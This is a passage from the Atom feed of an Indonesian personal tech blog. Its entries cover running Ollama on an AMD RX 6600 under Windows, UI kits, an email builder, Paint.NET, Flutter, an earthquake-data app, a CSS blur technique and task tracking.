&lt;h2 id=&quot;instalasi&quot; tabindex=&quot;-1&quot;&gt;Instalasi&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/cara-instal-ollama-menggunakan-rx-6600-di-windows/#instalasi&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Instal HIP SDK&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Biarkan checkbox sesuai bawaan dan lanjutkan instalasi.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Patch rocBLAS dengan ROCmLibs&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Buka folder &lt;code&gt;C:\Program Files\AMD\ROCm\5.7\bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Backup file &lt;code&gt;rocblas.dll&lt;/code&gt; dan folder &lt;code&gt;library&lt;/code&gt; yang ada di dalam folder &lt;code&gt;rocblas&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ganti dengan &lt;code&gt;rocblas.dll&lt;/code&gt; dan folder &lt;code&gt;library&lt;/code&gt; milik ROCmLibs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install ollama-for-amd&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pasang environtment path Ollama di Windows&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Edit variable Path, buat baru untuk path Ollama (Contoh: &lt;code&gt;C:\Users\Budi\AppData\Local\Programs\Ollama&lt;/code&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Jalankan Ollama menggunakan CLI&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ollama serve&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;ollama run codegemma&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Instal dan setup ekstensi Continue di VSCode&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Buka sidebar Continue di vertical tab VSCode&lt;/li&gt;
&lt;li&gt;Buka pengaturan, pastikan ada provider ollama dengan model yang sudah dijalankan&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;quot;models&amp;quot;: [
  ...
  {
    &amp;quot;title&amp;quot;: &amp;quot;CodeGemma&amp;quot;,
    &amp;quot;provider&amp;quot;: &amp;quot;ollama&amp;quot;,
    &amp;quot;model&amp;quot;: &amp;quot;codegemma&amp;quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;time=2024-08-26T06:59:04.379+07:00 level=INFO source=types.go:105 msg=&amp;quot;inference compute&amp;quot; id=0 library=rocm compute=gfx1032 driver=5.7 name=&amp;quot;AMD Radeon RX 6600&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Jika CLI Ollama menampilkan teks seperti di atas artinya RX 6600 sudah bisa menjalankan Ollama secara unofficial.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Saya Harus Memiliki UI Kit Sendiri</title>
		<link href="https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri/"/>
		<updated>2024-08-24T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;apa-itu-ui-kit&quot; tabindex=&quot;-1&quot;&gt;Apa itu UI Kit&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri/#apa-itu-ui-kit&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;UI Kit adalah sekumpulan design komponen, yang sudah termasuk font, icon, asset lain yang diperlukan, dan dokumentasi penggunaan.&lt;/p&gt;
&lt;h2 id=&quot;kenapa-ui-kit&quot; tabindex=&quot;-1&quot;&gt;Kenapa UI Kit&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri/#kenapa-ui-kit&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;UI Kit membuat implementasi design satu dan yang lain menjadi konsisten. Menggunakan komponen yang sama secara berulang atau menggunakan komponen modular untuk dipasangkan dengan komponen lain, memiliki UI Kit tentu sangat membantu.&lt;/p&gt;
&lt;h2 id=&quot;kenapa-membuat-ui-kit-sendiri&quot; tabindex=&quot;-1&quot;&gt;Kenapa Membuat UI Kit Sendiri&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/saya-harus-memiliki-ui-kit-sendiri/#kenapa-membuat-ui-kit-sendiri&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Setiap orang memiliki selera yang berbeda, sama halnya designer yang memiliki value tersendiri dalam mengerjakan design.&lt;br /&gt;
Sebagai contoh, jika dua orang designer mengerjakan design pada kasus yang sama, tentu hasil dan cara mengerjakannya tidak akan sama.&lt;br /&gt;
Perbedaan cara pengerjaan tidak menentukan hasil yang lebih baik atau buruk, masing-masing designer memiliki alasan tersendiri.&lt;br /&gt;
Mengapa designer A membuat komponen A seperti ini, mengapa designer B membuat komponen A seperti itu, mengapa designer A mengerjakan dengan cara seperti ini, sedangkan designer B mengerjakan dengan cara seperti itu.
Alasan tersebut adalah salah satu alasan designer memiliki value.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Pendapat Saya Soal “WYSIWYG Email” yang Saya Buat</title>
		<link href="https://hariswah.idin.my.id/blog/pendapat-saya-soal-wysiwyg-email-yang-saya-buat/"/>
		<updated>2024-08-23T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/pendapat-saya-soal-wysiwyg-email-yang-saya-buat/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;p&gt;Saya teringat sekitar tahun 2015, banyak blog lokal maupun mancanegara yang membahas kalau email marketing sudah tidak lagi relevan, alasannya karena pelanggan akan terganggu menjadikan ia tidak ingin untuk membuka email.&lt;/p&gt;
&lt;p&gt;Faktanya penggunaan email di bidang marketing masih populer digunakan hingga artikel ini dibuat, artinya tingkat efektifnya masih dibutuhkan.&lt;/p&gt;
&lt;p&gt;Beberapa waktu lalu saya membuat aplikasi untuk memudahkan user membuat email marketing sendiri, dengan desain yang dapat dimodifikasi, tanpa koding, dengan tampilan seminimal mungkin untuk proses penggunaan yang cepat.&lt;/p&gt;
&lt;p&gt;Aplikasi ini ditujukan untuk seorang marketing yang sudah tahu apa yang harus dilakukan dalam membuat sebuah email, misalnya judul, deskripsi, beberapa paragraf penting soal produk, juga daftar kontak.&lt;/p&gt;
&lt;p&gt;Saat pengembangan, saya melakukan uji coba yang menghabiskan waktu sekitar 5 menit untuk membuat sebuah email. Termasuk judul, deskripsi, step penggunaan produk, daftar distribusi aplikasi, daftar kontak, dan beberapa tautan penting, yang semua warnanya sudah disesuaikan.&lt;/p&gt;
&lt;p&gt;Asumsi saya adalah untuk user yang sudah tahu cara menggunakan aplikasi ini, butuh waktu 5-10 menit untuk membuat email marketing sendiri dengan syarat sudah memiliki bahan untuk ditulis. Jangka waktu yang sama juga dibutuhkan untuk menyalin kode HTML ke aplikasi email seperti Thunderbird, lalu mengirimkannya kepada para pelanggan.&lt;/p&gt;
&lt;p&gt;Sampai saat ini saya bersikeras bahwa aplikasi ini berpotensi untuk meminimalisir waktu (memudahkan) pekerjaan.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Alasan Kenapa Paint.NET Boleh Menua di Windows Saya</title>
		<link href="https://hariswah.idin.my.id/blog/alasan-kenapa-paint-net-boleh-menua-di-windows-saya/"/>
		<updated>2024-08-22T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/alasan-kenapa-paint-net-boleh-menua-di-windows-saya/</id>
		<language>id-ID</language>
			<category term ="Graphic Design" />
		<content type="html">&lt;p&gt;Paint.NET adalah software pengolah gambar raster di Windows yang rilis pada tahun 2004.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Kesan Pertama&lt;/li&gt;
&lt;li&gt;Apa yang Saya Butuhkan&lt;/li&gt;
&lt;li&gt;Kelebihan&lt;/li&gt;
&lt;li&gt;Perubahan paling diingat&lt;/li&gt;
&lt;li&gt;Belum ada penggantinya&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;kesan-pertama&quot; tabindex=&quot;-1&quot;&gt;Kesan Pertama&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-kenapa-paint-net-boleh-menua-di-windows-saya/#kesan-pertama&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Paint.NET yang sekarang pada artikel ini dibuat, masih sama seperti pertama saya menggunakannya pada tahun 2012. Kebutuhannya berawal dari hobi saya membuat aplikasi Windows.&lt;/p&gt;
&lt;h2 id=&quot;apa-yang-saya-butuhkan&quot; tabindex=&quot;-1&quot;&gt;Apa yang Saya Butuhkan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-kenapa-paint-net-boleh-menua-di-windows-saya/#apa-yang-saya-butuhkan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kebutuhan saya akan image editing hanyalah menyunting gambar dan membuat aset aplikasi. Secara teknis, berikut adalah fitur yang selalu saya butuhkan dari Paint.NET.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Select/Wand&lt;/td&gt;
&lt;td&gt;Eraser&lt;/td&gt;
&lt;td&gt;Resize&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Move&lt;/td&gt;
&lt;td&gt;Pencil/Brush&lt;/td&gt;
&lt;td&gt;Layers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bucket&lt;/td&gt;
&lt;td&gt;Color Picker&lt;/td&gt;
&lt;td&gt;Colors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gradient&lt;/td&gt;
&lt;td&gt;Crop&lt;/td&gt;
&lt;td&gt;Tabs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;kelebihan&quot; tabindex=&quot;-1&quot;&gt;Kelebihan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-kenapa-paint-net-boleh-menua-di-windows-saya/#kelebihan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dalam garis besar, kelebihannya adalah Simpel, Cepat, dan Powerful.&lt;/p&gt;
&lt;h2 id=&quot;perubahan-paling-diingat&quot; tabindex=&quot;-1&quot;&gt;Perubahan paling diingat&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-kenapa-paint-net-boleh-menua-di-windows-saya/#perubahan-paling-diingat&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Saya ingat pada saat Paint.NET tidak lagi support di arsitektur 32-bit di versi 4.3.xx, yang membuat saya tinggal di versi 3.4.xx. Breaking changes tersebut memiliki kelebihan unlimited undo yang belum ada di versi sebelumnya.&lt;/p&gt;
&lt;h2 id=&quot;belum-ada-penggantinya&quot; tabindex=&quot;-1&quot;&gt;Belum ada penggantinya&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/alasan-kenapa-paint-net-boleh-menua-di-windows-saya/#belum-ada-penggantinya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Atas dasar kebutuhan saya yang minimal, rasanya sulit mencari pengganti Paint.NET. Semangat untuk beralih ke software open source, belum membuat saya semangat untuk mempelajari software pengganti yang dirasa overkill.&lt;/p&gt;
&lt;p&gt;Semua ini adalah alasan kenapa saya memperbolehkan Paint.NET di mesin kerja saya, mengapa terus saya instal di mesin yang berbeda, faktanya saya menua bersamanya.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Enaknya Menggunakan Flutter</title>
		<link href="https://hariswah.idin.my.id/blog/enaknya-menggunakan-flutter/"/>
		<updated>2024-08-20T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/enaknya-menggunakan-flutter/</id>
		<language>id-ID</language>
			<category term ="Mobile Development" />
		<content type="html">&lt;h2 id=&quot;kenapa-flutter&quot; tabindex=&quot;-1&quot;&gt;Kenapa Flutter?&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/enaknya-menggunakan-flutter/#kenapa-flutter&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Teknologi yang masih terbilang baru&lt;/li&gt;
&lt;li&gt;Ekositem yang matang&lt;/li&gt;
&lt;li&gt;Menggunakan bahasa Dart yang type safe&lt;/li&gt;
&lt;li&gt;Dapat deploy multi-platform&lt;/li&gt;
&lt;li&gt;Banyak package yang tersedia&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;teknologi-yang-masih-terbilang-baru&quot; tabindex=&quot;-1&quot;&gt;Teknologi yang masih terbilang baru&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/enaknya-menggunakan-flutter/#teknologi-yang-masih-terbilang-baru&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Flutter pertama kali rilis di tahun 2017, dimulai saat itu update secara publik diperbarui secara berkala, saat artikel ini dibuat Flutter sudah di versi 3.24.&lt;/p&gt;
&lt;h2 id=&quot;ekositem-yang-matang&quot; tabindex=&quot;-1&quot;&gt;Ekositem yang matang&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/enaknya-menggunakan-flutter/#ekositem-yang-matang&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Semenjak rilis flutter sudah memiliki ekosistem yang matang, yang saya maksud adalah kemudahan untuk menerapkan fitur yang ingin kita buat.&lt;/p&gt;
&lt;h2 id=&quot;menggunakan-bahasa-dart-yang-type-safe&quot; tabindex=&quot;-1&quot;&gt;Menggunakan bahasa Dart yang type safe&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/enaknya-menggunakan-flutter/#menggunakan-bahasa-dart-yang-type-safe&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Menulis di bahasa yang type safety meningkatkan kenyamanan saat development, kita bisa tahu ada error apa pada aplikasi sebelum di-debug dan di-build. Secara relatif fitur ini dapat menghemat waktu.&lt;/p&gt;
&lt;h2 id=&quot;dapat-deploy-multi-platform&quot; tabindex=&quot;-1&quot;&gt;Dapat deploy multi-platform&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/enaknya-menggunakan-flutter/#dapat-deploy-multi-platform&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dalam sekali waktu development, kita bisa build ke platform yang berbeda seperti:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mobile (Android, iOS)&lt;/li&gt;
&lt;li&gt;Web&lt;/li&gt;
&lt;li&gt;dan Desktop (Windows, Mac, Linux)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;banyak-package-yang-tersedia&quot; tabindex=&quot;-1&quot;&gt;Banyak package yang tersedia&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/enaknya-menggunakan-flutter/#banyak-package-yang-tersedia&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kita dapat menghemat waktu karena biasanya terdapat package yang tersedia untuk membantu kita untuk menerapkan sebagian ataupun penuh fitur yang ingin kita buat.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Apa yang Saya Pelajari dari Aplikasi “WhatIf BMKG Down”</title>
		<link href="https://hariswah.idin.my.id/blog/apa-yang-saya-pelajari-dari-aplikasi-whatif-bmkg-down/"/>
		<updated>2024-08-15T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/apa-yang-saya-pelajari-dari-aplikasi-whatif-bmkg-down/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;p&gt;Pada tanggal 15 Agustus 2024, kemarin malam, saya membuat aplikasi bernama “WhatIf BMKG Down”.&lt;/p&gt;
&lt;h2 id=&quot;apa-maksudnya&quot; tabindex=&quot;-1&quot;&gt;Apa maksudnya?&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/apa-yang-saya-pelajari-dari-aplikasi-whatif-bmkg-down/#apa-maksudnya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Berita soal gempa &lt;em&gt;megathrust&lt;/em&gt; yang seliweran di media sosial, memicu saya untuk membuat ini. Ide yang saya dapat langsung saya tuangkan ke nama aplikasi.&lt;/p&gt;
&lt;h2 id=&quot;ada-beberapa-alasan-kenapa-saya-membuat-aplikasi-ini-yaitu&quot; tabindex=&quot;-1&quot;&gt;Ada beberapa alasan kenapa saya membuat aplikasi ini, yaitu:&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/apa-yang-saya-pelajari-dari-aplikasi-whatif-bmkg-down/#ada-beberapa-alasan-kenapa-saya-membuat-aplikasi-ini-yaitu&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Aplikasi atau website BMKG seringkali down saat diakses.&lt;/li&gt;
&lt;li&gt;Bukan ide yang sulit diterapkan dan dapat bermanfaat saat diperlukan.&lt;/li&gt;
&lt;li&gt;Resource, seperti &lt;em&gt;API&lt;/em&gt; dan &lt;em&gt;package&lt;/em&gt; yang mendukung untuk diterapkan.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;kapan-ini-dibutuhkan&quot; tabindex=&quot;-1&quot;&gt;Kapan ini dibutuhkan?&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/apa-yang-saya-pelajari-dari-aplikasi-whatif-bmkg-down/#kapan-ini-dibutuhkan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dari hasil penelusuran singkat, saya menemukan berita terdahulu dibuat oleh CNBC Indonesia lewat kanal YouTube-nya yaitu 3 hari lalu dari artikel ini dibuat.&lt;/p&gt;
&lt;h2 id=&quot;siapa-sasarannya&quot; tabindex=&quot;-1&quot;&gt;Siapa sasarannya?&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/apa-yang-saya-pelajari-dari-aplikasi-whatif-bmkg-down/#siapa-sasarannya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dibuat untuk penduduk Indonesia, itulah mengapa saya hanya mengintegrasi BMKG dan menyetel param API terbuka milik USGS ke kordinat Indonesia (Saya dapatkan dari salah satu jawaban dari pertanyaan di website Quora), walaupun begitu hasil dari USGS dapat menampilkan data gempa negara tetangga.&lt;/p&gt;
&lt;h2 id=&quot;dapat-diakses-di-mana&quot; tabindex=&quot;-1&quot;&gt;Dapat diakses di mana?&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/apa-yang-saya-pelajari-dari-aplikasi-whatif-bmkg-down/#dapat-diakses-di-mana&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Aplikasi ini saya buat menggunakan framework Flutter, walaupun saya debug lewat Chrome, namun hanya saya build khusus untuk Android. Tautan unduh lewat Google Drive sudah saya masukkan ke repositori.&lt;/p&gt;
&lt;h2 id=&quot;bagaimana-saya-membuatnya&quot; tabindex=&quot;-1&quot;&gt;Bagaimana saya membuatnya?&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/apa-yang-saya-pelajari-dari-aplikasi-whatif-bmkg-down/#bagaimana-saya-membuatnya&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Membuat aplikasi ini adalah pengalaman yang menyenangkan karena selama &lt;em&gt;development&lt;/em&gt; saya dokumentasi lewat &lt;em&gt;live streaming&lt;/em&gt; YouTube dengan teman yang dapat langsung berinteraksi kepada saya.&lt;/p&gt;
&lt;p&gt;Secara teknis saya mendapati kesulitan di luar dari gambaran, seperti &lt;em&gt;package flutter_map leaflet&lt;/em&gt; yang tidak muncul karena tidak menggunakan &lt;em&gt;option url_template&lt;/em&gt;, tipe &lt;em&gt;model int&lt;/em&gt; dan &lt;em&gt;double&lt;/em&gt; yang seharusnya &lt;em&gt;num&lt;/em&gt; agar dinamis. Juga saya masih harus belajar cara &lt;em&gt;theming flutter&lt;/em&gt; saat tidak menggunakan &lt;em&gt;Material 3&lt;/em&gt;.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Menghindari Style Inherit dari Parent ke Children dengan Pseudo</title>
		<link href="https://hariswah.idin.my.id/blog/menghindari-style-inherit-dari-parent-ke-children-dengan-pseudo/"/>
		<updated>2024-08-13T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/menghindari-style-inherit-dari-parent-ke-children-dengan-pseudo/</id>
		<language>id-ID</language>
			<category term ="Web Development" />
		<content type="html">&lt;h2 id=&quot;masalah&quot; tabindex=&quot;-1&quot;&gt;Masalah&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/menghindari-style-inherit-dari-parent-ke-children-dengan-pseudo/#masalah&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Trend design yang beragam seringkali memunculkan perdebatan antara Designer dan Front-end tentang seimbangnya hasil design dengan kerumitan proses.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Designer seringkali menghasilkan design tanpa memandang penerapan teknis.&lt;/li&gt;
&lt;li&gt;Front-end seringkali memandang rumit proses sehingga tampilan terasa tidak sebanding.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Jalan tengah dari keduanya harus disepakati agar design dapat diterapkan sehingga menjadi website yang fungsional.&lt;/p&gt;
&lt;h2 id=&quot;kasus&quot; tabindex=&quot;-1&quot;&gt;Kasus&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/menghindari-style-inherit-dari-parent-ke-children-dengan-pseudo/#kasus&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Salah satu kasusnya adalah penerapan background blur pada suatu komponen di website.&lt;/p&gt;
&lt;h2 id=&quot;gambar&quot; tabindex=&quot;-1&quot;&gt;Gambar&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/menghindari-style-inherit-dari-parent-ke-children-dengan-pseudo/#gambar&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://hariswah.idin.my.id/src/assets/images/menghindari-style-inherit-dari-parent-ke-children-dengan-pseudo.png&quot; alt=&quot;Contoh perbandingan background blur tanpa dan dengan pseudo&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gambar sebelah kiri adalah contoh jika background blur langsung diterapkan di parent komponen.&lt;/li&gt;
&lt;li&gt;Gambar sebelah kanan adalah contoh jika menggunakan pseudo dari parent untuk menerapkan blur.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;kode&quot; tabindex=&quot;-1&quot;&gt;Kode&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/menghindari-style-inherit-dari-parent-ke-children-dengan-pseudo/#kode&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot; /&amp;gt;
    &amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot; /&amp;gt;
    &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
      body {
        background-color: #fff;
        margin: 0;
        color: #fff;
        font-family: sans-serif;
      }
      .list {
        position: relative;
      }
      div {
        width: 600px;
        height: 100dvh;
        margin: 0 auto;
        display: flex;
        align-items: center;
      }
      .ulist {
        list-style: none;
        width: 300px;
        height: calc(50dvh - (48px * 2));
        margin: 0 auto;
        padding: 48px 36px;
        display: flex;
        flex-direction: column;
        justify-content: center;
        row-gap: 24px;
        font-size: 20px;
        font-weight: bold;
        line-height: 28px;
        letter-spacing: 2px;
        text-shadow: 1px 1px rgba(0, 0, 0, 0.75);
        overflow: hidden;
      }
      .ulist1 {
        position: relative;
      }
      .ulist1::before {
        content: &#39;&#39;;
        background-image: url(&#39;./img.webp&#39;);
        background-position: center;
        background-repeat: no-repeat;
        background-size: cover;
        width: calc(100% + 8px);
        height: calc(100% + 8px);
        position: absolute;
        top: -4px;
        left: -4px;
        filter: blur(4px) opacity(0.75);
      }
      .ulist2 {
        background-image: url(&#39;./img.webp&#39;);
        background-position: -4px -4px;
        background-repeat: no-repeat;
        background-size: cover;
        filter: blur(4px) opacity(0.75);
      }
    &amp;lt;/style&amp;gt;
  &amp;lt;/head&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;div&amp;gt;
      &amp;lt;ul class=&amp;quot;ulist ulist2&amp;quot;&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;Home&amp;lt;/li&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;About&amp;lt;/li&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;Contact&amp;lt;/li&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;Privacy Policy&amp;lt;/li&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;Terms of Service&amp;lt;/li&amp;gt;
      &amp;lt;/ul&amp;gt;
      &amp;lt;ul class=&amp;quot;ulist ulist1&amp;quot;&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;Home&amp;lt;/li&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;About&amp;lt;/li&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;Contact&amp;lt;/li&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;Privacy Policy&amp;lt;/li&amp;gt;
        &amp;lt;li class=&amp;quot;list&amp;quot;&amp;gt;Terms of Service&amp;lt;/li&amp;gt;
      &amp;lt;/ul&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;penjelasan&quot; tabindex=&quot;-1&quot;&gt;Penjelasan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/menghindari-style-inherit-dari-parent-ke-children-dengan-pseudo/#penjelasan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Styling blur yang dimiliki parent akan turut diterapkan kepada semua children yang ada. Di sisi lain pseudo, adalah children dari parent yang tidak dapat menurunkan styling apapun kepada sibling.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Saya Butuh untuk Segera Mencatat Task</title>
		<link href="https://hariswah.idin.my.id/blog/saya-butuh-untuk-segera-mencatat-task/"/>
		<updated>2024-08-12T17:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/saya-butuh-untuk-segera-mencatat-task/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;p&gt;Dalam bekerja, task baru datang hampir setiap hari yang mana task sebelumnya masih ada. Menggunakan task management seperti Trello bahkan text editor seperti notepad pun akan sangat membantu pada saat itu.&lt;/p&gt;
